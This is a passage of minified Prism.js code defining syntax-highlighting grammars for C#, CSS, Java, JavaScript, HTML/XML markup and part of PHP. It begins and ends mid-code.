goto if implicit in internal is lock namespace new null operator out override params private protected public readonly ref return sealed sizeof stackalloc static switch this throw try typeof unchecked unsafe using virtual volatile while yield";function l(e){return"\\b(?:"+e.trim().replace(/ /g,"|")+")\\b"}var u=l(s),c=RegExp(l(n+" "+s+" "+i+" "+o)),d=l(s+" "+i+" "+o),p=l(n+" "+s+" "+o),g=e(/<(?:[^<>;=+\-*/%&|^]|<<self>>)*>/.source,2),b=e(/\((?:[^()]|<<self>>)*\)/.source,2),m=/@?\b[A-Za-z_]\w*\b/.source,f=a(/<<0>>(?:\s*<<1>>)?/.source,[m,g]),h=a(/(?!<<0>>)<<1>>(?:\s*\.\s*<<1>>)*/.source,[d,f]),y=/\[\s*(?:,\s*)*\]/.source,w=a(/<<0>>(?:\s*(?:\?\s*)?<<1>>)*(?:\s*\?)?/.source,[h,y]),k=a(/[^,()<>[\];=+\-*/%&|^]|<<0>>|<<1>>|<<2>>/.source,[g,b,y]),v=a(/\(<<0>>+(?:,<<0>>+)+\)/.source,[k]),x=a(/(?:<<0>>|<<1>>)(?:\s*(?:\?\s*)?<<2>>)*(?:\s*\?)?/.source,[v,h,y]),_={keyword:c,punctuation:/[<>()?,.:[\]]/},F=/'(?:[^\r\n'\\]|\\.|\\[Uux][\da-fA-F]{1,8})'/.source,S=/"(?:\\.|[^\\"\r\n])*"/.source;t.languages.csharp=t.languages.extend("clike",{string:[{pattern:r(/(^|[^$\\])<<0>>/.source,[/@"(?:""|\\[\s\S]|[^\\"])*"(?!")/.source]),lookbehind:!0,greedy:!0},{pattern:r(/(^|[^@$\\])<<0>>/.source,[S]),lookbehind:!0,greedy:!0}],"class-name":[{pattern:r(/(\busing\s+static\s+)<<0>>(?=\s*;)/.source,[h]),lookbehind:!0,inside:_},{pattern:r(/(\busing\s+<<0>>\s*=\s*)<<1>>(?=\s*;)/.source,[m,x]),lookbehind:!0,inside:_},{pattern:r(/(\busing\s+)<<0>>(?=\s*=)/.source,[m]),lookbehind:!0},{pattern:r(/(\b<<0>>\s+)<<1>>/.source,[u,f]),lookbehind:!0,inside:_},{pattern:r(/(\bcatch\s*\(\s*)<<0>>/.source,[h]),lookbehind:!0,inside:_},{pattern:r(/(\bwhere\s+)<<0>>/.source,[m]),lookbehind:!0},{pattern:r(/(\b(?:is(?:\s+not)?|as)\s+)<<0>>/.source,[w]),lookbehind:!0,inside:_},{pattern:r(/\b<<0>>(?=\s+(?!<<1>>|with\s*\{)<<2>>(?:\s*[=,;:{)\]]|\s+(?:in|when)\b))/.source,[x,p,m]),inside:_}],keyword:c,number:/(?:\b0(?:x[\da-f_]*[\da-f]|b[01_]*[01])|(?:\B\.\d+(?:_+\d+)*|\b\d+(?:_+\d+)*(?:\.\d+(?:_+\d+)*)?)(?:e[-+]?\d+(?:_+\d+)*)?)(?:[dflmu]|lu|ul)?\b/i,operator:/>>=?|<<=?|[-=]>|([-+&|])\1|~|\?\?=?|[-+*/%&|^!=<>]=?/,punctuation:/\?\.?|::|[{}[\];(),.:]/}),t.languages.insertBefore("csharp","number",{range:{pattern:/\.\./,alias:"operator"}}),t.languages.insertBefore("csharp","punctuation",{"named-parameter":{pattern:r(/([(,]\s*)<<0>>(?=\s*:)/.source,[m]),lookbehind:!0,alias:"punctuation"}}),t.languages.insertBefore("csharp","class-name",{namespace:{pattern:r(/(\b(?:namespace|using)\s+)<<0>>(?:\s*\.\s*<<0>>)*(?=\s*[;{])/.source,[m]),lookbehind:!0,inside:{punctuation:/\./}},"type-expression":{pattern:r(/(\b(?:default|sizeof|typeof)\s*\(\s*(?!\s))(?:[^()\s]|\s(?!\s)|<<0>>)*(?=\s*\))/.source,[b]),lookbehind:!0,alias:"class-name",inside:_},"return-type":{pattern:r(/<<0>>(?=\s+(?:<<1>>\s*(?:=>|[({]|\.\s*this\s*\[)|this\s*\[))/.source,[x,h]),inside:_,alias:"class-name"},"constructor-invocation":{pattern:r(/(\bnew\s+)<<0>>(?=\s*[[({])/.source,[x]),lookbehind:!0,inside:_,alias:"class-name"},"generic-method":{pattern:r(/<<0>>\s*<<1>>(?=\s*\()/.source,[m,g]),inside:{function:r(/^<<0>>/.source,[m]),generic:{pattern:RegExp(g),alias:"class-name",inside:_}}},"type-list":{pattern:r(/\b((?:<<0>>\s+<<1>>|record\s+<<1>>\s*<<5>>|where\s+<<2>>)\s*:\s*)(?:<<3>>|<<4>>|<<1>>\s*<<5>>|<<6>>)(?:\s*,\s*(?:<<3>>|<<4>>|<<6>>))*(?=\s*(?:where|[{;]|=>|$))/.source,[u,f,m,x,c.source,b,/\bnew\s*\(\s*\)/.source]),lookbehind:!0,inside:{"record-arguments":{pattern:r(/(^(?!new\s*\()<<0>>\s*)<<1>>/.source,[f,b]),lookbehind:!0,greedy:!0,inside:t.languages.csharp},keyword:c,"class-name":{pattern:RegExp(x),greedy:!0,inside:_},punctuation:/[,()]/}},preprocessor:{pattern:/(^[\t ]*)#.*/m,lookbehind:!0,alias:"property",inside:{directive:{pattern:/(#)\b(?:define|elif|else|endif|endregion|error|if|line|nullable|pragma|region|undef|warning)\b/,lookbehind:!0,alias:"keyword"}}}});var A=S+"|"+F,P=a(/\/(?![*/])|\/\/[^\r\n]*[\r\n]|\/\*(?:[^*]|\*(?!\/))*\*\/|<<0>>/.source,[A]),$=e(a(/[^"'/()]|<<0>>|\(<<self>>*\)/.source,[P]),2),z=/\b(?:assembly|event|field|method|module|param|property|return|type)\b/.source,E=a(/<<0>>(?:\s*\(<<1>>*\))?/.source,[h,$]);t.languages.insertBefore("csharp","class-name",{attribute:{pattern:r(/((?:^|[^\s\w>)?])\s*\[\s*)(?:<<0>>\s*:\s*)?<<1>>(?:\s*,\s*<<1>>)*(?=\s*\])/.source,[z,E]),lookbehind:!0,greedy:!0,inside:{target:{pattern:r(/^<<0>>(?=\s*:)/.source,[z]),alias:"keyword"},"attribute-arguments":{pattern:r(/\(<<0>>*\)/.source,[$]),inside:t.languages.csharp},"class-name":{pattern:RegExp(h),inside:{punctuation:/\./}},punctuation:/[:,]/}}});var C=/:[^}\r\n]+/.source,j=e(a(/[^"'/()]|<<0>>|\(<<self>>*\)/.source,[P]),2),T=a(/\{(?!\{)(?:(?![}:])<<0>>)*<<1>>?\}/.source,[j,C]),B=e(a(/[^"'/()]|\/(?!\*)|\/\*(?:[^*]|\*(?!\/))*\*\/|<<0>>|\(<<self>>*\)/.source,[A]),2),O=a(/\{(?!\{)(?:(?![}:])<<0>>)*<<1>>?\}/.source,[B,C]);function R(e,n){return{interpolation:{pattern:r(/((?:^|[^{])(?:\{\{)*)<<0>>/.source,[e]),lookbehind:!0,inside:{"format-string":{pattern:r(/(^\{(?:(?![}:])<<0>>)*)<<1>>(?=\}$)/.source,[n,C]),lookbehind:!0,inside:{punctuation:/^:/}},punctuation:/^\{|\}$/,expression:{pattern:/[\s\S]+/,alias:"language-csharp",inside:t.languages.csharp}}},string:/[\s\S]+/}}t.languages.insertBefore("csharp","string",{"interpolation-string":[{pattern:r(/(^|[^\\])(?:\$@|@\$)"(?:""|\\[\s\S]|\{\{|<<0>>|[^\\{"])*"/.source,[T]),lookbehind:!0,greedy:!0,inside:R(T,j)},{pattern:r(/(^|[^@\\])\$"(?:\\.|\{\{|<<0>>|[^\\"{])*"/.source,[O]),lookbehind:!0,greedy:!0,inside:R(O,B)}],char:{pattern:RegExp(F),greedy:!0}}),t.languages.dotnet=t.languages.cs=t.languages.csharp}(Prism),function(e){var n=/(?:"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"|'(?:\\(?:\r\n|[\s\S])|[^'\\\r\n])*')/;e.languages.css={comment:/\/\*[\s\S]*?\*\//,atrule:{pattern:RegExp("@[\\w-](?:"+/[^;{\s"']|\s+(?!\s)/.source+"|"+n.source+")*?"+/(?:;|(?=\s*\{))/.source),inside:{rule:/^@[\w-]+/,"selector-function-argument":{pattern:/(\bselector\s*\(\s*(?![\s)]))(?:[^()\s]|\s+(?![\s)])|\((?:[^()]|\([^()]*\))*\))+(?=\s*\))/,lookbehind:!0,alias:"selector"},keyword:{pattern:/(^|[^\w-])(?:and|not|only|or)(?![\w-])/,lookbehind:!0}}},url:{pattern:RegExp("\\burl\\((?:"+n.source+"|"+/(?:[^\\\r\n()"']|\\[\s\S])*/.source+")\\)","i"),greedy:!0,inside:{function:/^url/i,punctuation:/^\(|\)$/,string:{pattern:RegExp("^"+n.source+"$"),alias:"url"}}},selector:{pattern:RegExp("(^|[{}\\s])[^{}\\s](?:[^{};\"'\\s]|\\s+(?![\\s{])|"+n.source+")*(?=\\s*\\{)"),lookbehind:!0},string:{pattern:n,greedy:!0},property:{pattern:/(^|[^-\w\xA0-\uFFFF])(?!\s)[-_a-z\xA0-\uFFFF](?:(?!\s)[-\w\xA0-\uFFFF])*(?=\s*:)/i,lookbehind:!0},important:/!important\b/i,function:{pattern:/(^|[^-a-z0-9])[-a-z0-9]+(?=\()/i,lookbehind:!0},punctuation:/[(){};:,]/},e.languages.css.atrule.inside.rest=e.languages.css;var t=e.languages.markup;t&&(t.tag.addInlined("style","css"),t.tag.addAttribute("style","css"))}(Prism),s=Prism,i=/\b(?:abstract|assert|boolean|break|byte|case|catch|char|class|const|continue|default|do|double|else|enum|exports|extends|final|finally|float|for|goto|if|implements|import|instanceof|int|interface|long|module|native|new|non-sealed|null|open|opens|package|permits|private|protected|provides|public|record(?!\s*[(){}[\]<>=%~.:,;?+\-*/&|^])|requires|return|sealed|short|static|strictfp|super|switch|synchronized|this|throw|throws|to|transient|transitive|try|uses|var|void|volatile|while|with|yield)\b/,o=/(?:[a-z]\w*\s*\.\s*)*(?:[A-Z]\w*\s*\.\s*)*/.source,l={pattern:RegExp(/(^|[^\w.])/.source+o+/[A-Z](?:[\d_A-Z]*[a-z]\w*)?\b/.source),lookbehind:!0,inside:{namespace:{pattern:/^[a-z]\w*(?:\s*\.\s*[a-z]\w*)*(?:\s*\.)?/,inside:{punctuation:/\./}},punctuation:/\./}},s.languages.java=s.languages.extend("clike",{string:{pattern:/(^|[^\\])"(?:\\.|[^"\\\r\n])*"/,lookbehind:!0,greedy:!0},"class-name":[l,{pattern:RegExp(/(^|[^\w.])/.source+o+/[A-Z]\w*(?=\s+\w+\s*[;,=()]|\s*(?:\[[\s,]*\]\s*)?::\s*new\b)/.source),lookbehind:!0,inside:l.inside},{pattern:RegExp(/(\b(?:class|enum|extends|implements|instanceof|interface|new|record|throws)\s+)/.source+o+/[A-Z]\w*\b/.source),lookbehind:!0,inside:l.inside}],keyword:i,function:[s.languages.clike.function,{pattern:/(::\s*)[a-z_]\w*/,lookbehind:!0}],number:/\b0b[01][01_]*L?\b|\b0x(?:\.[\da-f_p+-]+|[\da-f_]+(?:\.[\da-f_p+-]+)?)\b|(?:\b\d[\d_]*(?:\.[\d_]*)?|\B\.\d[\d_]*)(?:e[+-]?\d[\d_]*)?[dfl]?/i,operator:{pattern:/(^|[^.])(?:<<=?|>>>?=?|->|--|\+\+|&&|\|\||::|[?:~]|[-+*/%&|^!=<>]=?)/m,lookbehind:!0},constant:/\b[A-Z][A-Z_\d]+\b/}),s.languages.insertBefore("java","string",{"triple-quoted-string":{pattern:/"""[ \t]*[\r\n](?:(?:"|"")?(?:\\.|[^"\\]))*"""/,greedy:!0,alias:"string"},char:{pattern:/'(?:\\.|[^'\\\r\n]){1,6}'/,greedy:!0}}),s.languages.insertBefore("java","class-name",{annotation:{pattern:/(^|[^.])@\w+(?:\s*\.\s*\w+)*/,lookbehind:!0,alias:"punctuation"},generics:{pattern:/<(?:[\w\s,.?]|&(?!&)|<(?:[\w\s,.?]|&(?!&)|<(?:[\w\s,.?]|&(?!&)|<(?:[\w\s,.?]|&(?!&))*>)*>)*>)*>/,inside:{"class-name":l,keyword:i,punctuation:/[<>(),.:]/,operator:/[?&|]/}},import:[{pattern:RegExp(/(\bimport\s+)/.source+o+/(?:[A-Z]\w*|\*)(?=\s*;)/.source),lookbehind:!0,inside:{namespace:l.inside.namespace,punctuation:/\./,operator:/\*/,"class-name":/\w+/}},{pattern:RegExp(/(\bimport\s+static\s+)/.source+o+/(?:\w+|\*)(?=\s*;)/.source),lookbehind:!0,alias:"static",inside:{namespace:l.inside.namespace,static:/\b\w+$/,punctuation:/\./,operator:/\*/,"class-name":/\w+/}}],namespace:{pattern:RegExp(/(\b(?:exports|import(?:\s+static)?|module|open|opens|package|provides|requires|to|transitive|uses|with)\s+)(?!<keyword>)[a-z]\w*(?:\.[a-z]\w*)*\.?/.source.replace(/<keyword>/g,function(){return i.source})),lookbehind:!0,inside:{punctuation:/\./}}}),Prism.languages.javascript=Prism.languages.extend("clike",{"class-name":[Prism.languages.clike["class-name"],{pattern:/(^|[^$\w\xA0-\uFFFF])(?!\s)[_$A-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\.(?:constructor|prototype))/,lookbehind:!0}],keyword:[{pattern:/((?:^|\})\s*)catch\b/,lookbehind:!0},{pattern:/(^|[^.]|\.\.\.\s*)\b(?:as|assert(?=\s*\{)|async(?=\s*(?:function\b|\(|[$\w\xA0-\uFFFF]|$))|await|break|case|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally(?=\s*(?:\{|$))|for|from(?=\s*(?:['"]|$))|function|(?:get|set)(?=\s*(?:[#\[$\w\xA0-\uFFFF]|$))|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)\b/,lookbehind:!0}],function:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*(?:\.\s*(?:apply|bind|call)\s*)?\()/,number:{pattern:RegExp(/(^|[^\w$])/.source+"(?:"+/NaN|Infinity/.source+"|"+/0[bB][01]+(?:_[01]+)*n?/.source+"|"+/0[oO][0-7]+(?:_[0-7]+)*n?/.source+"|"+/0[xX][\dA-Fa-f]+(?:_[\dA-Fa-f]+)*n?/.source+"|"+/\d+(?:_\d+)*n/.source+"|"+/(?:\d+(?:_\d+)*(?:\.(?:\d+(?:_\d+)*)?)?|\.\d+(?:_\d+)*)(?:[Ee][+-]?\d+(?:_\d+)*)?/.source+")"+/(?![\w$])/.source),lookbehind:!0},operator:/--|\+\+|\*\*=?|=>|&&=?|\|\|=?|[!=]==|<<=?|>>>?=?|[-+*/%&|^!=<>]=?|\.{3}|\?\?=?|\?\.?|[~:]/}),Prism.languages.javascript["class-name"][0].pattern=/(\b(?:class|extends|implements|instanceof|interface|new)\s+)[\w.\\]+/,Prism.languages.insertBefore("javascript","keyword",{regex:{pattern:RegExp(/((?:^|[^$\w\xA0-\uFFFF."'\])\s]|\b(?:return|yield))\s*)/.source+/\//.source+"(?:"+/(?:\[(?:[^\]\\\r\n]|\\.)*\]|\\.|[^/\\\[\r\n])+\/[dgimyus]{0,7}/.source+"|"+/(?:\[(?:[^[\]\\\r\n]|\\.|\[(?:[^[\]\\\r\n]|\\.|\[(?:[^[\]\\\r\n]|\\.)*\])*\])*\]|\\.|[^/\\\[\r\n])+\/[dgimyus]{0,7}v[dgimyus]{0,7}/.source+")"+/(?=(?:\s|\/\*(?:[^*]|\*(?!\/))*\*\/)*(?:$|[\r\n,.;:})\]]|\/\/))/.source),lookbehind:!0,greedy:!0,inside:{"regex-source":{pattern:/^(\/)[\s\S]+(?=\/[a-z]*$)/,lookbehind:!0,alias:"language-regex",inside:Prism.languages.regex},"regex-delimiter":/^\/|\/$/,"regex-flags":/^[a-z]+$/}},"function-variable":{pattern:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*[=:]\s*(?:async\s*)?(?:\bfunction\b|(?:\((?:[^()]|\([^()]*\))*\)|(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)\s*=>))/,alias:"function"},parameter:[{pattern:/(function(?:\s+(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)?\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\))/,lookbehind:!0,inside:Prism.languages.javascript},{pattern:/(^|[^$\w\xA0-\uFFFF])(?!\s)[_$a-z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*=>)/i,lookbehind:!0,inside:Prism.languages.javascript},{pattern:/(\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*=>)/,lookbehind:!0,inside:Prism.languages.javascript},{pattern:/((?:\b|\s|^)(?!(?:as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)(?![$\w\xA0-\uFFFF]))(?:(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*\s*)\(\s*|\]\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*\{)/,lookbehind:!0,inside:Prism.languages.javascript}],constant:/\b[A-Z](?:[A-Z_]|\dx?)*\b/}),Prism.languages.insertBefore("javascript","string",{hashbang:{pattern:/^#!.*/,greedy:!0,alias:"comment"},"template-string":{pattern:/`(?:\\[\s\S]|\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}|(?!\$\{)[^\\`])*`/,greedy:!0,inside:{"template-punctuation":{pattern:/^`|`$/,alias:"string"},interpolation:{pattern:/((?:^|[^\\])(?:\\{2})*)\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}/,lookbehind:!0,inside:{"interpolation-punctuation":{pattern:/^\$\{|\}$/,alias:"punctuation"},rest:Prism.languages.javascript}},string:/[\s\S]+/}},"string-property":{pattern:/((?:^|[,{])[ \t]*)(["'])(?:\\(?:\r\n|[\s\S])|(?!\2)[^\\\r\n])*\2(?=\s*:)/m,lookbehind:!0,greedy:!0,alias:"property"}}),Prism.languages.insertBefore("javascript","operator",{"literal-property":{pattern:/((?:^|[,{])[ \t]*)(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*:)/m,lookbehind:!0,alias:"property"}}),Prism.languages.markup&&(Prism.languages.markup.tag.addInlined("script","javascript"),Prism.languages.markup.tag.addAttribute(/on(?:abort|blur|change|click|composition(?:end|start|update)|dblclick|error|focus(?:in|out)?|key(?:down|up)|load|mouse(?:down|enter|leave|move|out|over|up)|reset|resize|scroll|select|slotchange|submit|unload|wheel)/.source,"javascript")),Prism.languages.js=Prism.languages.javascript,Prism.languages.markup={comment:{pattern:/<!--(?:(?!<!--)[\s\S])*?-->/,greedy:!0},prolog:{pattern:/<\?[\s\S]+?\?>/,greedy:!0},doctype:{pattern:/<!DOCTYPE(?:[^>"'[\]]|"[^"]*"|'[^']*')+(?:\[(?:[^<"'\]]|"[^"]*"|'[^']*'|<(?!!--)|<!--(?:[^-]|-(?!->))*-->)*\]\s*)?>/i,greedy:!0,inside:{"internal-subset":{pattern:/(^[^\[]*\[)[\s\S]+(?=\]>$)/,lookbehind:!0,greedy:!0,inside:null},string:{pattern:/"[^"]*"|'[^']*'/,greedy:!0},punctuation:/^<!|>$|[[\]]/,"doctype-tag":/^DOCTYPE/i,name:/[^\s<>'"]+/}},cdata:{pattern:/<!\[CDATA\[[\s\S]*?\]\]>/i,greedy:!0},tag:{pattern:/<\/?(?!\d)[^\s>\/=$<%]+(?:\s(?:\s*[^\s>\/=]+(?:\s*=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+(?=[\s>]))|(?=[\s/>])))+)?\s*\/?>/,greedy:!0,inside:{tag:{pattern:/^<\/?[^\s>\/]+/,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"special-attr":[],"attr-value":{pattern:/=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+)/,inside:{punctuation:[{pattern:/^=/,alias:"attr-equals"},{pattern:/^(\s*)["']|["']$/,lookbehind:!0}]}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:[{pattern:/&[\da-z]{1,8};/i,alias:"named-entity"},/&#x?[\da-f]{1,8};/i]},Prism.languages.markup.tag.inside["attr-value"].inside.entity=Prism.languages.markup.entity,Prism.languages.markup.doctype.inside["internal-subset"].inside=Prism.languages.markup,Prism.hooks.add("wrap",function(e){"entity"===e.type&&(e.attributes.title=e.content.replace(/&amp;/,"&"))}),Object.defineProperty(Prism.languages.markup.tag,"addInlined",{value:function(e,n){var t={};t["language-"+n]={pattern:/(^<!\[CDATA\[)[\s\S]+?(?=\]\]>$)/i,lookbehind:!0,inside:Prism.languages[n]},t.cdata=/^<!\[CDATA\[|\]\]>$/i;var a={"included-cdata":{pattern:/<!\[CDATA\[[\s\S]*?\]\]>/i,inside:t}};a["language-"+n]={pattern:/[\s\S]+/,inside:Prism.languages[n]};var r={};r[e]={pattern:RegExp(/(<__[^>]*>)(?:<!\[CDATA\[(?:[^\]]|\](?!\]>))*\]\]>|(?!<!\[CDATA\[)[\s\S])*?(?=<\/__>)/.source.replace(/__/g,function(){return e}),"i"),lookbehind:!0,greedy:!0,inside:a},Prism.languages.insertBefore("markup","cdata",r)}}),Object.defineProperty(Prism.languages.markup.tag,"addAttribute",{value:function(e,n){Prism.languages.markup.tag.inside["special-attr"].push({pattern:RegExp(/(^|["'\s])/.source+"(?:"+e+")"+/\s*=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+(?=[\s>]))/.source,"i"),lookbehind:!0,inside:{"attr-name":/^[^\s=]+/,"attr-value":{pattern:/=[\s\S]+/,inside:{value:{pattern:/(^=\s*(["']|(?!["'])))\S[\s\S]*(?=\2$)/,lookbehind:!0,alias:[n,"language-"+n],inside:Prism.languages[n]},punctuation:[{pattern:/^=/,alias:"attr-equals"},/"|'/]}}}})}}),Prism.languages.html=Prism.languages.markup,Prism.languages.mathml=Prism.languages.markup,Prism.languages.svg=Prism.languages.markup,Prism.languages.xml=Prism.languages.extend("markup",{}),Prism.languages.ssml=Prism.languages.xml,Prism.languages.atom=Prism.languages.xml,Prism.languages.rss=Prism.languages.xml,function(n){var e=/\/\*[\s\S]*?\*\/|\/\/.*|#(?!\[).*/,t=[{pattern:/\b(?:false|true)\b/i,alias:"boolean"},{pattern:/(::\s*)\b[a-z_]\w*\b(?!\s*\()/i,greedy:!0,lookbehind:!0},{pattern:/(\b(?:case|const)\s+)\b[a-z_]\w*(?=\s*[;=])/i,greedy:!0,lookbehind:!0},/\b(?:null)\b/i,/\b[A-Z_][A-Z0-9_]*\b(?!\s*\()/],a=/\b0b[01]+(?:_[01]+)*\b|\b0o[0-7]+(?:_[0-7]+)*\b|\b0x[\da-f]+(?:_[\da-f]+)*\b|(?:\b\d+(?:_\d+)*\.?(?:\d+(?:_\d+)*)?|\B\.\d+)(?:e[+-]?\d+)?/i,r=/<?=>|\?\?=?|\.{3}|\??->|[!=]=?=?|::|\*\*=?|--|\+\+|&&|\|\||<<|>>|[?~]|[/^|%*&<>.+-]=?/,s=/[{}\[\](),:;]/;n.languages.php={delimiter:{pattern:/\?>$|^<\?(?:php(?=\s)|=)?/i,alias:"important"},comment:e,variable:/\$+(?:\w+\b|(?=\{))/,package:{pattern:/(namespace\s+|use\s+(?:function\s+)?)(?:\\?\b[a-z_]\w*)+\b(?!\\)/i,lookbehind:!0,inside:{punctuation:/\\/}},"class-name-definition":{pattern:/(\b(?:class|enum|interface|trait)\s+)\b[a-z_]\w*(?!\\)\b/i,lookbehind:!0,alias:"class-name"},"function-definition":{pattern:/(\bfunction\s+)[a-z_]\w*(?=\s*\()/i,lookbehind:!0,alias:"function"},keyword:[{pattern:/(\(\s*)\b(?:array|bool|boolean|float|int|integer|object|string)\b(?=\s*\))/i,alias:"type-casting",greedy:!0,lookbehind:!0},{pattern:/([(,?]\s*)\b(?:array(?!\s*\()|bool|callable|(?:false|null)(?=\s*\|)|float|int|iterable|mixed|object|self|static|string)\b(?=\s*\$)/i,alias:"type-hint",greedy:!0,lookbehind:!0},{pattern:/(\)\s*:\s*(?:\?\s*)?)\b(?:array(?!\s*\()|bool|callable|(?:false|null)(?=\s*\|)|float|int|iterable|mixed|never|object|self|static|string|void)\b/i,alias:"return-type",greedy:!0,lookbehind:!0},{pattern:/\b(?:array(?!\s*\()|bool|float|int|iterable|mixed|object|string|void)\b/i,alias:"type-declaration",greedy:!0},{pattern:/(\|\s*)(?:false|null)\b|\b(?:false|null)(?=\s*\|)/i,alias:"type-declaration",greedy:!0,lookbehind:!0},{pattern:/\b(?:parent|self|static)(?=\s*::)/i,alias:"static-context",greedy:!0},{pattern:/(\byield\s+)from\b/i,lookbehind:!0},/\bclass\b/i,{pattern:/((?:^|[^\s>:]|(?:^|[^-])>|(?:^|[^:]):)\s*)\b(?:abstract|and|array|as|break|callable|case|catch|clone|const|continue|declare|default|die|do|echo|else|elseif|empty|enddeclare|endfor|endforeach|endif|endswitch|endwhile|enum|eval|exit|extends|final|finally|fn|for|foreach|function|global|goto|if|implements|include|include_once|instanceof|insteadof|interface|isset|list|match|namespace|never|new|or|parent|print|private|protected|public|readonly|require|require_once|return|self|static|switch|throw|trait|try|unset|use|var|while|xor|yield|__halt_compiler)\b/i,lookbehind:!0}],"argument-name":{pattern:/([(,]\s*)\b[a-z_]\w*(?=\s*:(?!:))/i,lookbehind:!0},"class-name":[{pattern:/(\b(?:extends|implements|instanceof|new(?!\s+self|\s+static))\s+|\bcatch\s*\()\b[a-z_]\w*(?!\\)\b/i,greedy:!0,lookbehind:!0},{pattern:/(\|\s*)\b[a-z_]\w*(?!\\)\b/i,greedy:!0,lookbehind:!0},{pattern:/\b[a-z_]\w*(?!\\)\b(?=\s*\|)/i,greedy:!0},{pattern:/(\|\s*)(?:\\?\b[a-z_]\w*)+\b/i,alias:"class-name-fully-qualified",greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}},{pattern:/(?:\\?\b[a-z_]\w*)+\b(?=\s*\|)/i,alias:"class-name-fully-qualified",greedy:!0,inside:{punctuation:/\\/}},{pattern:/(\b(?:extends|implements|instanceof|new(?!\s+self\b|\s+static\b))\s+|\bcatch\s*\()(?:\\?\b[a-z_]\w*)+\b(?!\\)/i,alias:"class-name-fully-qualified",greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}},{pattern:/\b[a-z_]\w*(?=\s*\$)/i,alias:"type-declaration",greedy:!0},{pattern:/(?:\\?\b[a-z_]\w*)+(?=\s*\$)/i,alias:["class-name-fully-qualified","type-declaration"],greedy:!0,inside:{punctuation:/\\/}},{pattern:/\b[a-z_]\w*(?=\s*::)/i,alias:"static-context",greedy:!0},{pattern:/(?:\\?\b[a-z_]\w*)+(?=\s*::)/i,alias:["class-name-fully-qualified","static-context"],greedy:!0,inside:{punctuation:/\\/}},{pattern:/([(,?]\s*)[a-z_]\w*(?=\s*\$)/i,alias:"type-hint",greedy:!0,lookbehind:!0},{pattern:/([(,?]\s*)(?:\\?\b[a-z_]\w*)+(?=\s*\$)/i,alias:["class-name-fully-qualified","type-hint"],greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}},{pattern:/(\)\s*:\s*(?:\?\s*)?)\b[a-z_]\w*(?!\\)\b/i,alias:"return-type",greedy:!0,lookbehind:!0},{pattern:/(\)\s*:\s*(?:\?\s*)?)(?:\\?\b[a-z_]\w*)+\b(?!\\)/i,alias:["class-name-fully-qualified","return-type"],greedy:!0,lookbehind:!0,inside:{punctuation:/\\/}}],constant:t,function:{pattern:/(^|[^\\\w])\\?[a-z_](?:[\w\\]*\w)?(?=\s*\()/i,lookbehind:!0,inside:{punctuation:/\\/}},property:{pattern:/(->\s*)\w+/,lookbehind:!0},number:a,operator:r,punctuation:s};var i={pattern:/\{\$(?:\{(?:\{[^{}]+\}|[^{}]+)\}|[^{}])+\}|(^|[^\\{])\$+(?:\w+(?:\[[^\r\n\[\]]+\]|->\w+)?)/,lookbehind:!0,inside:n.languages.php},o=[{pattern:/<<<'([^']+)'[\r\n](?:.*[\r\n])*?\1;/,alias:"nowdoc-string",greedy:!0,inside:{delimiter:{pattern:/^<<<'[^']+'|[a-z_]\w*;$/i,alias:"symbol",inside:{punctuation:/^<<<'?|[';]$/}}}},{pattern:/<<<(?:"([^"]+)"[\r\n](?:.*[\r\n])*?\1;|([a-z_]\w*)[\r\n](?:.*[\r\n])*?\2;)/i,alias:"heredoc-string",greedy:!0,inside:{delimiter:{pattern:/^<<<(?:"[^"]+"|[a-z_]\w*)|[a-z_]\w*;$/i,alias:"symbol",inside:{punctuation:/^<<<"?|[";]$/}},interpolation:i}},{pattern:/`(?:\\[\s\S]|[^\\`])*`/,alias:"backtick-quoted-string",greedy:!0},{pattern:/'(?:\\[\s\S]|[^\\'])*'/,alias:"single-quoted-string",greedy:!0},{pattern:/"(?:\\[\s\S]|[^\\"])*"/,alias:"double-quoted-string",greedy:!0,inside:{interpolation:i}}];n.languages.insertBefore("php","variable",{string:o,attribute:{pattern:/#\[(?:[^"'\/#]|\/(?![*/])|\/\/.*$|#(?!\[).*$|\/\*(?:[^*]|\*(?!\/))*\*\/|"(?:\\[\s\S]|[^\\"])*"|'(?:\\[\s\S]|[^\\'])*')+\](?=\s*[a-z$#])/im,greedy:!0,inside:{"attribute-content":{pattern:/^(#\[)[\s\S]+(?=\]$)/,lookbehind:!0,inside:{comment:e,string:o,"attribute-class-name":[{pattern:/([^:]|^)\b[a-z_]\w*(?!\\)\b